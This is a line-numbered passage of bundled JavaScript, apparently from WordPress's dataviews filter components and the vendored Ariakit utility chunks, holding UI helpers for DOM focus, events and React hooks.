35679 external_wp_components_namespaceObject.Button,
35680 {
35681 accessibleWhenDisabled: true,
35682 size: "compact",
35683 className: "dataviews-filters-button",
35684 variant: "tertiary",
35685 disabled: !inactiveFilters.length,
35686 ref
35687 }
35688 ),
35689 children: (0,external_wp_i18n_namespaceObject.__)("Add filter")
35690 },
35691 ...{ filters, view, onChangeView, setOpenedFilter }
35692 }
35693 );
35694}
35695var add_filter_default = (0,external_wp_element_.forwardRef)(AddFilter);
35696
35697
35698;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/toggle.js
35699
35700
35701
35702
35703
35704
35705
35706function FiltersToggle() {
35707 const {
35708 filters,
35709 view,
35710 onChangeView,
35711 setOpenedFilter,
35712 isShowingFilter,
35713 setIsShowingFilter
35714 } = (0,external_wp_element_.useContext)(dataviews_context_default);
35715 const buttonRef = (0,external_wp_element_.useRef)(null);
35716 const onChangeViewWithFilterVisibility = (0,external_wp_element_.useCallback)(
35717 (_view) => {
35718 onChangeView(_view);
35719 setIsShowingFilter(true);
35720 },
35721 [onChangeView, setIsShowingFilter]
35722 );
35723 const visibleFilters = filters.filter((filter) => filter.isVisible);
35724 const hasVisibleFilters = !!visibleFilters.length;
35725 if (filters.length === 0) {
35726 return null;
35727 }
35728 const addFilterButtonProps = {
35729 label: (0,external_wp_i18n_namespaceObject.__)("Add filter"),
35730 "aria-expanded": false,
35731 isPressed: false
35732 };
35733 const toggleFiltersButtonProps = {
35734 label: (0,external_wp_i18n_namespaceObject._x)("Filter", "verb"),
35735 "aria-expanded": isShowingFilter,
35736 isPressed: isShowingFilter,
35737 onClick: () => {
35738 if (!isShowingFilter) {
35739 setOpenedFilter(null);
35740 }
35741 setIsShowingFilter(!isShowingFilter);
35742 }
35743 };
35744 const buttonComponent = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35745 external_wp_components_namespaceObject.Button,
35746 {
35747 ref: buttonRef,
35748 className: "dataviews-filters__visibility-toggle",
35749 size: "compact",
35750 icon: funnel_default,
35751 ...hasVisibleFilters ? toggleFiltersButtonProps : addFilterButtonProps
35752 }
35753 );
35754 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-filters__container-visibility-toggle", children: !hasVisibleFilters ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35755 AddFilterMenu,
35756 {
35757 filters,
35758 view,
35759 onChangeView: onChangeViewWithFilterVisibility,
35760 setOpenedFilter,
35761 triggerProps: { render: buttonComponent }
35762 }
35763 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35764 FilterVisibilityToggle,
35765 {
35766 buttonRef,
35767 filtersCount: view.filters?.length,
35768 children: buttonComponent
35769 }
35770 ) });
35771}
35772function FilterVisibilityToggle({
35773 buttonRef,
35774 filtersCount,
35775 children
35776}) {
35777 (0,external_wp_element_.useEffect)(
35778 () => () => {
35779 buttonRef.current?.focus();
35780 },
35781 [buttonRef]
35782 );
35783 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
35784 children,
35785 !!filtersCount && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-filters-toggle__count", children: filtersCount })
35786 ] });
35787}
35788var toggle_default = FiltersToggle;
35789
35790
35791;// ./node_modules/@ariakit/react-core/esm/__chunks/3YLGPPWQ.js
35792"use client";
35793var __defProp = Object.defineProperty;
35794var __defProps = Object.defineProperties;
35795var __getOwnPropDescs = Object.getOwnPropertyDescriptors;
35796var __getOwnPropSymbols = Object.getOwnPropertySymbols;
35797var __hasOwnProp = Object.prototype.hasOwnProperty;
35798var __propIsEnum = Object.prototype.propertyIsEnumerable;
35799var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
35800var _3YLGPPWQ_spreadValues = (a, b) => {
35801 for (var prop in b || (b = {}))
35802 if (__hasOwnProp.call(b, prop))
35803 __defNormalProp(a, prop, b[prop]);
35804 if (__getOwnPropSymbols)
35805 for (var prop of __getOwnPropSymbols(b)) {
35806 if (__propIsEnum.call(b, prop))
35807 __defNormalProp(a, prop, b[prop]);
35808 }
35809 return a;
35810};
35811var _3YLGPPWQ_spreadProps = (a, b) => __defProps(a, __getOwnPropDescs(b));
35812var __objRest = (source, exclude) => {
35813 var target = {};
35814 for (var prop in source)
35815 if (__hasOwnProp.call(source, prop) && exclude.indexOf(prop) < 0)
35816 target[prop] = source[prop];
35817 if (source != null && __getOwnPropSymbols)
35818 for (var prop of __getOwnPropSymbols(source)) {
35819 if (exclude.indexOf(prop) < 0 && __propIsEnum.call(source, prop))
35820 target[prop] = source[prop];
35821 }
35822 return target;
35823};
35824
35825
35826
35827;// ./node_modules/@ariakit/core/esm/__chunks/3YLGPPWQ.js
35828"use client";
35829var _3YLGPPWQ_defProp = Object.defineProperty;
35830var _3YLGPPWQ_defProps = Object.defineProperties;
35831var _3YLGPPWQ_getOwnPropDescs = Object.getOwnPropertyDescriptors;
35832var _3YLGPPWQ_getOwnPropSymbols = Object.getOwnPropertySymbols;
35833var _3YLGPPWQ_hasOwnProp = Object.prototype.hasOwnProperty;
35834var _3YLGPPWQ_propIsEnum = Object.prototype.propertyIsEnumerable;
35835var _3YLGPPWQ_defNormalProp = (obj, key, value) => key in obj ? _3YLGPPWQ_defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
35836var _chunks_3YLGPPWQ_spreadValues = (a, b) => {
35837 for (var prop in b || (b = {}))
35838 if (_3YLGPPWQ_hasOwnProp.call(b, prop))
35839 _3YLGPPWQ_defNormalProp(a, prop, b[prop]);
35840 if (_3YLGPPWQ_getOwnPropSymbols)
35841 for (var prop of _3YLGPPWQ_getOwnPropSymbols(b)) {
35842 if (_3YLGPPWQ_propIsEnum.call(b, prop))
35843 _3YLGPPWQ_defNormalProp(a, prop, b[prop]);
35844 }
35845 return a;
35846};
35847var _chunks_3YLGPPWQ_spreadProps = (a, b) => _3YLGPPWQ_defProps(a, _3YLGPPWQ_getOwnPropDescs(b));
35848var _3YLGPPWQ_objRest = (source, exclude) => {
35849 var target = {};
35850 for (var prop in source)
35851 if (_3YLGPPWQ_hasOwnProp.call(source, prop) && exclude.indexOf(prop) < 0)
35852 target[prop] = source[prop];
35853 if (source != null && _3YLGPPWQ_getOwnPropSymbols)
35854 for (var prop of _3YLGPPWQ_getOwnPropSymbols(source)) {
35855 if (exclude.indexOf(prop) < 0 && _3YLGPPWQ_propIsEnum.call(source, prop))
35856 target[prop] = source[prop];
35857 }
35858 return target;
35859};
35860
35861
35862
35863;// ./node_modules/@ariakit/core/esm/__chunks/PBFD2E7P.js
35864"use client";
35865
35866
35867// src/utils/misc.ts
35868function PBFD2E7P_noop(..._) {
35869}
35870function shallowEqual(a, b) {
35871 if (a === b) return true;
35872 if (!a) return false;
35873 if (!b) return false;
35874 if (typeof a !== "object") return false;
35875 if (typeof b !== "object") return false;
35876 const aKeys = Object.keys(a);
35877 const bKeys = Object.keys(b);
35878 const { length } = aKeys;
35879 if (bKeys.length !== length) return false;
35880 for (const key of aKeys) {
35881 if (a[key] !== b[key]) {
35882 return false;
35883 }
35884 }
35885 return true;
35886}
35887function applyState(argument, currentValue) {
35888 if (isUpdater(argument)) {
35889 const value = isLazyValue(currentValue) ? currentValue() : currentValue;
35890 return argument(value);
35891 }
35892 return argument;
35893}
35894function isUpdater(argument) {
35895 return typeof argument === "function";
35896}
35897function isLazyValue(value) {
35898 return typeof value === "function";
35899}
35900function isObject(arg) {
35901 return typeof arg === "object" && arg != null;
35902}
35903function PBFD2E7P_isEmpty(arg) {
35904 if (Array.isArray(arg)) return !arg.length;
35905 if (isObject(arg)) return !Object.keys(arg).length;
35906 if (arg == null) return true;
35907 if (arg === "") return true;
35908 return false;
35909}
35910function isInteger(arg) {
35911 if (typeof arg === "number") {
35912 return Math.floor(arg) === arg;
35913 }
35914 return String(Math.floor(Number(arg))) === arg;
35915}
35916function PBFD2E7P_hasOwnProperty(object, prop) {
35917 if (typeof Object.hasOwn === "function") {
35918 return Object.hasOwn(object, prop);
35919 }
35920 return Object.prototype.hasOwnProperty.call(object, prop);
35921}
35922function chain(...fns) {
35923 return (...args) => {
35924 for (const fn of fns) {
35925 if (typeof fn === "function") {
35926 fn(...args);
35927 }
35928 }
35929 };
35930}
35931function cx(...args) {
35932 return args.filter(Boolean).join(" ") || void 0;
35933}
35934function PBFD2E7P_normalizeString(str) {
35935 return str.normalize("NFD").replace(/[\u0300-\u036f]/g, "");
35936}
35937function omit(object, keys) {
35938 const result = _chunks_3YLGPPWQ_spreadValues({}, object);
35939 for (const key of keys) {
35940 if (PBFD2E7P_hasOwnProperty(result, key)) {
35941 delete result[key];
35942 }
35943 }
35944 return result;
35945}
35946function pick(object, paths) {
35947 const result = {};
35948 for (const key of paths) {
35949 if (PBFD2E7P_hasOwnProperty(object, key)) {
35950 result[key] = object[key];
35951 }
35952 }
35953 return result;
35954}
35955function identity(value) {
35956 return value;
35957}
35958function beforePaint(cb = PBFD2E7P_noop) {
35959 const raf = requestAnimationFrame(cb);
35960 return () => cancelAnimationFrame(raf);
35961}
35962function afterPaint(cb = PBFD2E7P_noop) {
35963 let raf = requestAnimationFrame(() => {
35964 raf = requestAnimationFrame(cb);
35965 });
35966 return () => cancelAnimationFrame(raf);
35967}
35968function invariant(condition, message) {
35969 if (condition) return;
35970 if (typeof message !== "string") throw new Error("Invariant failed");
35971 throw new Error(message);
35972}
35973function getKeys(obj) {
35974 return Object.keys(obj);
35975}
35976function isFalsyBooleanCallback(booleanOrCallback, ...args) {
35977 const result = typeof booleanOrCallback === "function" ? booleanOrCallback(...args) : booleanOrCallback;
35978 if (result == null) return false;
35979 return !result;
35980}
35981function disabledFromProps(props) {
35982 return props.disabled || props["aria-disabled"] === true || props["aria-disabled"] === "true";
35983}
35984function removeUndefinedValues(obj) {
35985 const result = {};
35986 for (const key in obj) {
35987 if (obj[key] !== void 0) {
35988 result[key] = obj[key];
35989 }
35990 }
35991 return result;
35992}
35993function defaultValue(...values) {
35994 for (const value of values) {
35995 if (value !== void 0) return value;
35996 }
35997 return void 0;
35998}
35999
36000
36001
36002;// ./node_modules/@ariakit/react-core/esm/__chunks/SK3NAZA3.js
36003"use client";
36004
36005
36006// src/utils/misc.ts
36007
36008
36009function setRef(ref, value) {
36010 if (typeof ref === "function") {
36011 ref(value);
36012 } else if (ref) {
36013 ref.current = value;
36014 }
36015}
36016function isValidElementWithRef(element) {
36017 if (!element) return false;
36018 if (!(0,external_React_.isValidElement)(element)) return false;
36019 if ("ref" in element.props) return true;
36020 if ("ref" in element) return true;
36021 return false;
36022}
36023function getRefProperty(element) {
36024 if (!isValidElementWithRef(element)) return null;
36025 const props = _3YLGPPWQ_spreadValues({}, element.props);
36026 return props.ref || element.ref;
36027}
36028function mergeProps(base, overrides) {
36029 const props = _3YLGPPWQ_spreadValues({}, base);
36030 for (const key in overrides) {
36031 if (!PBFD2E7P_hasOwnProperty(overrides, key)) continue;
36032 if (key === "className") {
36033 const prop = "className";
36034 props[prop] = base[prop] ? `${base[prop]} ${overrides[prop]}` : overrides[prop];
36035 continue;
36036 }
36037 if (key === "style") {
36038 const prop = "style";
36039 props[prop] = base[prop] ? _3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({}, base[prop]), overrides[prop]) : overrides[prop];
36040 continue;
36041 }
36042 const overrideValue = overrides[key];
36043 if (typeof overrideValue === "function" && key.startsWith("on")) {
36044 const baseValue = base[key];
36045 if (typeof baseValue === "function") {
36046 props[key] = (...args) => {
36047 overrideValue(...args);
36048 baseValue(...args);
36049 };
36050 continue;
36051 }
36052 }
36053 props[key] = overrideValue;
36054 }
36055 return props;
36056}
36057
36058
36059
36060;// ./node_modules/@ariakit/core/esm/__chunks/DTR5TSDJ.js
36061"use client";
36062
36063// src/utils/dom.ts
36064var DTR5TSDJ_canUseDOM = checkIsBrowser();
36065function checkIsBrowser() {
36066 var _a;
36067 return typeof window !== "undefined" && !!((_a = window.document) == null ? void 0 : _a.createElement);
36068}
36069function getDocument(node) {
36070 if (!node) return document;
36071 if ("self" in node) return node.document;
36072 return node.ownerDocument || document;
36073}
36074function getWindow(node) {
36075 if (!node) return self;
36076 if ("self" in node) return node.self;
36077 return getDocument(node).defaultView || window;
36078}
36079function DTR5TSDJ_getActiveElement(node, activeDescendant = false) {
36080 const { activeElement } = getDocument(node);
36081 if (!(activeElement == null ? void 0 : activeElement.nodeName)) {
36082 return null;
36083 }
36084 if (DTR5TSDJ_isFrame(activeElement) && activeElement.contentDocument) {
36085 return DTR5TSDJ_getActiveElement(
36086 activeElement.contentDocument.body,
36087 activeDescendant
36088 );
36089 }
36090 if (activeDescendant) {
36091 const id = activeElement.getAttribute("aria-activedescendant");
36092 if (id) {
36093 const element = getDocument(activeElement).getElementById(id);
36094 if (element) {
36095 return element;
36096 }
36097 }
36098 }
36099 return activeElement;
36100}
36101function contains(parent, child) {
36102 return parent === child || parent.contains(child);
36103}
36104function DTR5TSDJ_isFrame(element) {
36105 return element.tagName === "IFRAME";
36106}
36107function isButton(element) {
36108 const tagName = element.tagName.toLowerCase();
36109 if (tagName === "button") return true;
36110 if (tagName === "input" && element.type) {
36111 return buttonInputTypes.indexOf(element.type) !== -1;
36112 }
36113 return false;
36114}
36115var buttonInputTypes = [
36116 "button",
36117 "color",
36118 "file",
36119 "image",
36120 "reset",
36121 "submit"
36122];
36123function isVisible(element) {
36124 if (typeof element.checkVisibility === "function") {
36125 return element.checkVisibility();
36126 }
36127 const htmlElement = element;
36128 return htmlElement.offsetWidth > 0 || htmlElement.offsetHeight > 0 || element.getClientRects().length > 0;
36129}
36130function isTextField(element) {
36131 try {
36132 const isTextInput = element instanceof HTMLInputElement && element.selectionStart !== null;
36133 const isTextArea = element.tagName === "TEXTAREA";
36134 return isTextInput || isTextArea || false;
36135 } catch (error) {
36136 return false;
36137 }
36138}
36139function isTextbox(element) {
36140 return element.isContentEditable || isTextField(element);
36141}
36142function getTextboxValue(element) {
36143 if (isTextField(element)) {
36144 return element.value;
36145 }
36146 if (element.isContentEditable) {
36147 const range = getDocument(element).createRange();
36148 range.selectNodeContents(element);
36149 return range.toString();
36150 }
36151 return "";
36152}
36153function getTextboxSelection(element) {
36154 let start = 0;
36155 let end = 0;
36156 if (isTextField(element)) {
36157 start = element.selectionStart || 0;
36158 end = element.selectionEnd || 0;
36159 } else if (element.isContentEditable) {
36160 const selection = getDocument(element).getSelection();
36161 if ((selection == null ? void 0 : selection.rangeCount) && selection.anchorNode && contains(element, selection.anchorNode) && selection.focusNode && contains(element, selection.focusNode)) {
36162 const range = selection.getRangeAt(0);
36163 const nextRange = range.cloneRange();
36164 nextRange.selectNodeContents(element);
36165 nextRange.setEnd(range.startContainer, range.startOffset);
36166 start = nextRange.toString().length;
36167 nextRange.setEnd(range.endContainer, range.endOffset);
36168 end = nextRange.toString().length;
36169 }
36170 }
36171 return { start, end };
36172}
36173function getPopupRole(element, fallback) {
36174 const allowedPopupRoles = ["dialog", "menu", "listbox", "tree", "grid"];
36175 const role = element == null ? void 0 : element.getAttribute("role");
36176 if (role && allowedPopupRoles.indexOf(role) !== -1) {
36177 return role;
36178 }
36179 return fallback;
36180}
36181function getPopupItemRole(element, fallback) {
36182 var _a;
36183 const itemRoleByPopupRole = {
36184 menu: "menuitem",
36185 listbox: "option",
36186 tree: "treeitem"
36187 };
36188 const popupRole = getPopupRole(element);
36189 if (!popupRole) return fallback;
36190 const key = popupRole;
36191 return (_a = itemRoleByPopupRole[key]) != null ? _a : fallback;
36192}
36193function scrollIntoViewIfNeeded(element, arg) {
36194 if (isPartiallyHidden(element) && "scrollIntoView" in element) {
36195 element.scrollIntoView(arg);
36196 }
36197}
36198function getScrollingElement(element) {
36199 if (!element) return null;
36200 const isScrollableOverflow = (overflow) => {
36201 if (overflow === "auto") return true;
36202 if (overflow === "scroll") return true;
36203 return false;
36204 };
36205 if (element.clientHeight && element.scrollHeight > element.clientHeight) {
36206 const { overflowY } = getComputedStyle(element);
36207 if (isScrollableOverflow(overflowY)) return element;
36208 } else if (element.clientWidth && element.scrollWidth > element.clientWidth) {
36209 const { overflowX } = getComputedStyle(element);
36210 if (isScrollableOverflow(overflowX)) return element;
36211 }
36212 return getScrollingElement(element.parentElement) || document.scrollingElement || document.body;
36213}
36214function isPartiallyHidden(element) {
36215 const elementRect = element.getBoundingClientRect();
36216 const scroller = getScrollingElement(element);
36217 if (!scroller) return false;
36218 const scrollerRect = scroller.getBoundingClientRect();
36219 const isHTML = scroller.tagName === "HTML";
36220 const scrollerTop = isHTML ? scrollerRect.top + scroller.scrollTop : scrollerRect.top;
36221 const scrollerBottom = isHTML ? scroller.clientHeight : scrollerRect.bottom;
36222 const scrollerLeft = isHTML ? scrollerRect.left + scroller.scrollLeft : scrollerRect.left;
36223 const scrollerRight = isHTML ? scroller.clientWidth : scrollerRect.right;
36224 const top = elementRect.top < scrollerTop;
36225 const left = elementRect.left < scrollerLeft;
36226 const bottom = elementRect.bottom > scrollerBottom;
36227 const right = elementRect.right > scrollerRight;
36228 return top || left || bottom || right;
36229}
36230function setSelectionRange(element, ...args) {
36231 if (/text|search|password|tel|url/i.test(element.type)) {
36232 element.setSelectionRange(...args);
36233 }
36234}
36235function sortBasedOnDOMPosition(items, getElement) {
36236 const pairs = items.map((item, index) => [index, item]);
36237 let isOrderDifferent = false;
36238 pairs.sort(([indexA, a], [indexB, b]) => {
36239 const elementA = getElement(a);
36240 const elementB = getElement(b);
36241 if (elementA === elementB) return 0;
36242 if (!elementA || !elementB) return 0;
36243 if (isElementPreceding(elementA, elementB)) {
36244 if (indexA > indexB) {
36245 isOrderDifferent = true;
36246 }
36247 return -1;
36248 }
36249 if (indexA < indexB) {
36250 isOrderDifferent = true;
36251 }
36252 return 1;
36253 });
36254 if (isOrderDifferent) {
36255 return pairs.map(([_, item]) => item);
36256 }
36257 return items;
36258}
36259function isElementPreceding(a, b) {
36260 return Boolean(
36261 b.compareDocumentPosition(a) & Node.DOCUMENT_POSITION_PRECEDING
36262 );
36263}
36264
36265
36266
36267;// ./node_modules/@ariakit/core/esm/__chunks/QAGXQEUG.js
36268"use client";
36269
36270
36271// src/utils/platform.ts
36272function isTouchDevice() {
36273 return DTR5TSDJ_canUseDOM && !!navigator.maxTouchPoints;
36274}
36275function isApple() {
36276 if (!DTR5TSDJ_canUseDOM) return false;
36277 return /mac|iphone|ipad|ipod/i.test(navigator.platform);
36278}
36279function isSafari() {
36280 return DTR5TSDJ_canUseDOM && isApple() && /apple/i.test(navigator.vendor);
36281}
36282function isFirefox() {
36283 return DTR5TSDJ_canUseDOM && /firefox\//i.test(navigator.userAgent);
36284}
36285function isMac() {
36286 return canUseDOM && navigator.platform.startsWith("Mac") && !isTouchDevice();
36287}
36288
36289
36290
36291;// ./node_modules/@ariakit/core/esm/utils/events.js
36292"use client";
36293
36294
36295
36296
36297// src/utils/events.ts
36298function isPortalEvent(event) {
36299 return Boolean(
36300 event.currentTarget && !contains(event.currentTarget, event.target)
36301 );
36302}
36303function isSelfTarget(event) {
36304 return event.target === event.currentTarget;
36305}
36306function isOpeningInNewTab(event) {
36307 const element = event.currentTarget;
36308 if (!element) return false;
36309 const isAppleDevice = isApple();
36310 if (isAppleDevice && !event.metaKey) return false;
36311 if (!isAppleDevice && !event.ctrlKey) return false;
36312 const tagName = element.tagName.toLowerCase();
36313 if (tagName === "a") return true;
36314 if (tagName === "button" && element.type === "submit") return true;
36315 if (tagName === "input" && element.type === "submit") return true;
36316 return false;
36317}
36318function isDownloading(event) {
36319 const element = event.currentTarget;
36320 if (!element) return false;
36321 const tagName = element.tagName.toLowerCase();
36322 if (!event.altKey) return false;
36323 if (tagName === "a") return true;
36324 if (tagName === "button" && element.type === "submit") return true;
36325 if (tagName === "input" && element.type === "submit") return true;
36326 return false;
36327}
36328function fireEvent(element, type, eventInit) {
36329 const event = new Event(type, eventInit);
36330 return element.dispatchEvent(event);
36331}
36332function fireBlurEvent(element, eventInit) {
36333 const event = new FocusEvent("blur", eventInit);
36334 const defaultAllowed = element.dispatchEvent(event);
36335 const bubbleInit = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, eventInit), { bubbles: true });
36336 element.dispatchEvent(new FocusEvent("focusout", bubbleInit));
36337 return defaultAllowed;
36338}
36339function fireFocusEvent(element, eventInit) {
36340 const event = new FocusEvent("focus", eventInit);
36341 const defaultAllowed = element.dispatchEvent(event);
36342 const bubbleInit = __spreadProps(__spreadValues({}, eventInit), { bubbles: true });
36343 element.dispatchEvent(new FocusEvent("focusin", bubbleInit));
36344 return defaultAllowed;
36345}
36346function fireKeyboardEvent(element, type, eventInit) {
36347 const event = new KeyboardEvent(type, eventInit);
36348 return element.dispatchEvent(event);
36349}
36350function fireClickEvent(element, eventInit) {
36351 const event = new MouseEvent("click", eventInit);
36352 return element.dispatchEvent(event);
36353}
36354function isFocusEventOutside(event, container) {
36355 const containerElement = container || event.currentTarget;
36356 const relatedTarget = event.relatedTarget;
36357 return !relatedTarget || !contains(containerElement, relatedTarget);
36358}
36359function getInputType(event) {
36360 const nativeEvent = "nativeEvent" in event ? event.nativeEvent : event;
36361 if (!nativeEvent) return;
36362 if (!("inputType" in nativeEvent)) return;
36363 if (typeof nativeEvent.inputType !== "string") return;
36364 return nativeEvent.inputType;
36365}
36366function queueBeforeEvent(element, type, callback, timeout) {
36367 const createTimer = (callback2) => {
36368 if (timeout) {
36369 const timerId2 = setTimeout(callback2, timeout);
36370 return () => clearTimeout(timerId2);
36371 }
36372 const timerId = requestAnimationFrame(callback2);
36373 return () => cancelAnimationFrame(timerId);
36374 };
36375 const cancelTimer = createTimer(() => {
36376 element.removeEventListener(type, callSync, true);
36377 callback();
36378 });
36379 const callSync = () => {
36380 cancelTimer();
36381 callback();
36382 };
36383 element.addEventListener(type, callSync, { once: true, capture: true });
36384 return cancelTimer;
36385}
36386function addGlobalEventListener(type, listener, options, scope = window) {
36387 const children = [];
36388 try {
36389 scope.document.addEventListener(type, listener, options);
36390 for (const frame of Array.from(scope.frames)) {
36391 children.push(addGlobalEventListener(type, listener, options, frame));
36392 }
36393 } catch (e) {
36394 }
36395 const removeEventListener = () => {
36396 try {
36397 scope.document.removeEventListener(type, listener, options);
36398 } catch (e) {
36399 }
36400 for (const remove of children) {
36401 remove();
36402 }
36403 };
36404 return removeEventListener;
36405}
36406
36407
36408;// ./node_modules/@ariakit/react-core/esm/__chunks/ABQUS43J.js
36409"use client";
36410
36411
36412
36413// src/utils/hooks.ts
36414
36415
36416
36417
36418var _React = _3YLGPPWQ_spreadValues({}, external_React_namespaceObject);
36419var useReactId = _React.useId;
36420var useReactDeferredValue = _React.useDeferredValue;
36421var useReactInsertionEffect = _React.useInsertionEffect;
36422var useSafeLayoutEffect = DTR5TSDJ_canUseDOM ? external_React_.useLayoutEffect : external_React_.useEffect;
36423function useInitialValue(value) {
36424 const [initialValue] = (0,external_React_.useState)(value);
36425 return initialValue;
36426}
36427function useLazyValue(init) {
36428 const ref = useRef();
36429 if (ref.current === void 0) {
36430 ref.current = init();
36431 }
36432 return ref.current;
36433}
36434function useLiveRef(value) {
36435 const ref = (0,external_React_.useRef)(value);
36436 useSafeLayoutEffect(() => {
36437 ref.current = value;
36438 });
36439 return ref;
36440}
36441function usePreviousValue(value) {
36442 const [previousValue, setPreviousValue] = useState(value);
36443 if (value !== previousValue) {
36444 setPreviousValue(value);
36445 }
36446 return previousValue;
36447}
36448function useEvent(callback) {
36449 const ref = (0,external_React_.useRef)(() => {
36450 throw new Error("Cannot call an event handler while rendering.");
36451 });
36452 if (useReactInsertionEffect) {
36453 useReactInsertionEffect(() => {
36454 ref.current = callback;
36455 });
36456 } else {
36457 ref.current = callback;
36458 }
36459 return (0,external_React_.useCallback)((...args) => {
36460 var _a;
36461 return (_a = ref.current) == null ? void 0 : _a.call(ref, ...args);
36462 }, []);
36463}
36464function useTransactionState(callback) {
36465 const [state, setState] = (0,external_React_.useState)(null);
36466 useSafeLayoutEffect(() => {
36467 if (state == null) return;
36468 if (!callback) return;
36469 let prevState = null;
36470 callback((prev) => {
36471 prevState = prev;
36472 return state;
36473 });
36474 return () => {
36475 callback(prevState);
36476 };
36477 }, [state, callback]);
36478 return [state, setState];
36479}
36480function useMergeRefs(...refs) {
36481 return (0,external_React_.useMemo)(() => {
36482 if (!refs.some(Boolean)) return;
36483 return (value) => {
36484 for (const ref of refs) {
36485 setRef(ref, value);
36486 }
36487 };
36488 }, refs);
36489}
36490function useId(defaultId) {
36491 if (useReactId) {
36492 const reactId = useReactId();
36493 if (defaultId) return defaultId;
36494 return reactId;
36495 }
36496 const [id, setId] = (0,external_React_.useState)(defaultId);
36497 useSafeLayoutEffect(() => {
36498 if (defaultId || id) return;
36499 const random = Math.random().toString(36).slice(2, 8);
36500 setId(`id-${random}`);
36501 }, [defaultId, id]);
36502 return defaultId || id;
36503}
36504function useDeferredValue(value) {
36505 if (useReactDeferredValue) {
36506 return useReactDeferredValue(value);
36507 }
36508 const [deferredValue, setDeferredValue] = useState(value);
36509 useEffect(() => {
36510 const raf = requestAnimationFrame(() => setDeferredValue(value));
36511 return () => cancelAnimationFrame(raf);
36512 }, [value]);
36513 return deferredValue;
36514}
36515function useTagName(refOrElement, type) {
36516 const stringOrUndefined = (type2) => {
36517 if (typeof type2 !== "string") return;
36518 return type2;
36519 };
36520 const [tagName, setTagName] = (0,external_React_.useState)(() => stringOrUndefined(type));
36521 useSafeLayoutEffect(() => {
36522 const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
36523 setTagName((element == null ? void 0 : element.tagName.toLowerCase()) || stringOrUndefined(type));
36524 }, [refOrElement, type]);
36525 return tagName;
36526}
36527function useAttribute(refOrElement, attributeName, defaultValue) {
36528 const initialValue = useInitialValue(defaultValue);
36529 const [attribute, setAttribute] = (0,external_React_.useState)(initialValue);
36530 (0,external_React_.useEffect)(() => {
36531 const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
36532 if (!element) return;
36533 const callback = () => {
36534 const value = element.getAttribute(attributeName);
36535 setAttribute(value == null ? initialValue : value);
36536 };
36537 const observer = new MutationObserver(callback);
36538 observer.observe(element, { attributeFilter: [attributeName] });
36539 callback();
36540 return () => observer.disconnect();
36541 }, [refOrElement, attributeName, initialValue]);
36542 return attribute;
36543}
36544function useUpdateEffect(effect, deps) {
36545 const mounted = (0,external_React_.useRef)(false);
36546 (0,external_React_.useEffect)(() => {
36547 if (mounted.current) {
36548 return effect();
36549 }
36550 mounted.current = true;
36551 }, deps);
36552 (0,external_React_.useEffect)(
36553 () => () => {
36554 mounted.current = false;
36555 },
36556 []
36557 );
36558}
36559function useUpdateLayoutEffect(effect, deps) {
36560 const mounted = (0,external_React_.useRef)(false);
36561 useSafeLayoutEffect(() => {
36562 if (mounted.current) {
36563 return effect();
36564 }
36565 mounted.current = true;
36566 }, deps);
36567 useSafeLayoutEffect(
36568 () => () => {
36569 mounted.current = false;
36570 },
36571 []
36572 );
36573}
36574function useForceUpdate() {
36575 return (0,external_React_.useReducer)(() => [], []);
36576}
36577function useBooleanEvent(booleanOrCallback) {
36578 return useEvent(
36579 typeof booleanOrCallback === "function" ? booleanOrCallback : () => booleanOrCallback
36580 );
36581}
36582function useWrapElement(props, callback, deps = []) {
36583 const wrapElement = (0,external_React_.useCallback)(
36584 (element) => {
36585 if (props.wrapElement) {
36586 element = props.wrapElement(element);
36587 }
36588 return callback(element);
36589 },
36590 [...deps, props.wrapElement]
36591 );
36592 return _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { wrapElement });
36593}
36594function usePortalRef(portalProp = false, portalRefProp) {
36595 const [portalNode, setPortalNode] = useState(null);
36596 const portalRef = useMergeRefs(setPortalNode, portalRefProp);
36597 const domReady = !portalProp || portalNode;
36598 return { portalRef, portalNode, domReady };
36599}
36600function useMetadataProps(props, key, value) {
36601 const parent = props.onLoadedMetadataCapture;
36602 const onLoadedMetadataCapture = (0,external_React_.useMemo)(() => {
36603 return Object.assign(() => {
36604 }, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, parent), { [key]: value }));
36605 }, [parent, key, value]);
36606 return [parent == null ? void 0 : parent[key], { onLoadedMetadataCapture }];
36607}
36608function useIsMouseMoving() {
36609 (0,external_React_.useEffect)(() => {
36610 addGlobalEventListener("mousemove", setMouseMoving, true);
36611 addGlobalEventListener("mousedown", resetMouseMoving, true);
36612 addGlobalEventListener("mouseup", resetMouseMoving, true);
36613 addGlobalEventListener("keydown", resetMouseMoving, true);
36614 addGlobalEventListener("scroll", resetMouseMoving, true);
36615 }, []);
36616 const isMouseMoving = useEvent(() => mouseMoving);
36617 return isMouseMoving;
36618}
36619var mouseMoving = false;
36620var previousScreenX = 0;
36621var previousScreenY = 0;
36622function hasMouseMovement(event) {
36623 const movementX = event.movementX || event.screenX - previousScreenX;
36624 const movementY = event.movementY || event.screenY - previousScreenY;
36625 previousScreenX = event.screenX;
36626 previousScreenY = event.screenY;
36627 return movementX || movementY || "production" === "test";
36628}
36629function setMouseMoving(event) {
36630 if (!hasMouseMovement(event)) return;
36631 mouseMoving = true;
36632}
36633function resetMouseMoving() {
36634 mouseMoving = false;
36635}
36636
36637
36638
36639;// ./node_modules/@ariakit/react-core/esm/__chunks/LMDWO4NN.js
36640"use client";
36641
36642
36643
36644
36645// src/utils/system.tsx
36646
36647
36648function forwardRef2(render) {
